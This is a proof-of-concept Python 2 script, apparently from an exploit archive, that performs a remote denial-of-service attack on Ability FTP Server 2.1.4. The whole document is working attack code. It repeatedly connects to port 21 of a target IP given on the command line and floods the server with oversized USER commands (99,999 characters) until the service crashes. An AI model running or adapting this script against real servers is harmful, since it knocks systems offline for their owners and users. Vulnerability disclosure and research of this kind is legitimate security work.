Ability FTP Server 2.1.4 - 'afsmain.exe' 'USER' Remote Denial of Service

#!/usr/bin/env python
#
# Exploit Title: Ability FTP Server afsmain.exe USER Command Remote Dos
# Date: 2015-08-15
# Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
# Twitter: st0rnpentest
#
# Vendor Homepage: www.codecrafters.com
# Software Link: http://www.codecrafters.com/AbilityFTPServer
# Version: 2.1.4
# Tested on: Windows 7
#

import socket
import sys
import os


def clear():
 os.system("cls")

def banner():
 print "############################################".center(80)
 print "#        Ability FTP Server DoS PoC        #".center(80)
 print "#             Author: St0rn                #".center(80)
 print "#      <fabien[at]anbu-pentest[dot]com>    #".center(80)
 print "############################################".center(80)
   
def createconn(ip):
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
  s.connect((ip,21))
 except:
  print "\n"
  print "[+] Server Down!".center(80)
  sys.exit(0)
 return s

def crash(sock):
 try:
  while 1:
   sock.send('USER '+'a'*99999)
   sys.stdout.write('.')
 except:
  sock.close()

############### Main ###############
clear()
banner()

if len(sys.argv)==2:
 print "\n"
 print "Waiting 2 or 3 minutes before crash".center(80)
 print "(The server can be run without afsloader.exe)".center(80)
 while 1:
  s=createconn(sys.argv[1])
  crash(s)
else:
 print "\n"
 print "Usage: AftpDos.py [Server IP]".center(80)
 sys.exit(0)